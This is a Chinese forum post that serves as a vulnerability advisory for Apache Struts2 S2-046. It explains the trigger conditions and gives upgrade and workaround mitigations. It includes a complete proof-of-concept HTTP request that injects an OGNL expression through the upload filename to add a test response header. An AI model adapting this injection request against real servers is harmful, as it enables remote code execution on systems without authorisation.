黑帽联盟

 找回密码
 会员注册
查看: 1990|回复: 0
打印 上一主题 下一主题

[国外新闻] 【漏洞预警】Apache Struts2再曝远程代码执行漏洞(S2-046 附PoC)

[复制链接]

3

主题

0

听众

5

积分

黑帽菜鸟

Rank: 1

  • TA的每日心情

    2018-8-11 14:31
  • 签到天数: 3 天

    [LV.2]偶尔看看I


    Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。   

    本月初,Strust2漏洞爆出一个RCE远程代码执行漏洞(S2-045)可致远程代码执行。而时隔两周,又出现一个相似的远程代码执行漏洞。

    漏洞编号

    CVE-2017-5638   

    漏洞简介

    使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致远程命令执行。该漏洞与S2-045 (CVE-2017-5638)相似,但使用了不同的攻击向量。   

    触发漏洞需要满足的条件:   

    JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” />
    上传的文件大小根据Content-Length头的声明要大于Struts2默认允许的2GB大小
    文件名中包含OGNL payload
    PoCPOST /doUpload.action HTTP/1.1Host: localhost:8080Content-Length: 10000000Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9zConnection: close------WebKitFormBoundaryAnmUgTEhFhOZpr9zContent-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"Content-Type: text/plainKaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
    解决方案

    如果你正在使用基于Jakarta的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1。

    和先前的漏洞一样,也有相应的变通方案,即采用其他Mutipart解析器实施方案。Apache也提供2个插件作为解决方案(点击这里)——如果使用的是Apache Struts 2.3.8 – 2.5.5或者2.3.20 – 2.5.5版本,即可采用该解决方案。

    另外也可以从堆中移除File Upload Interceptor,定义自有堆并设为默认(具体怎么做可以点击这里),该解决方案针对Struts 2.5.8 – 2.5.10有效。


    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部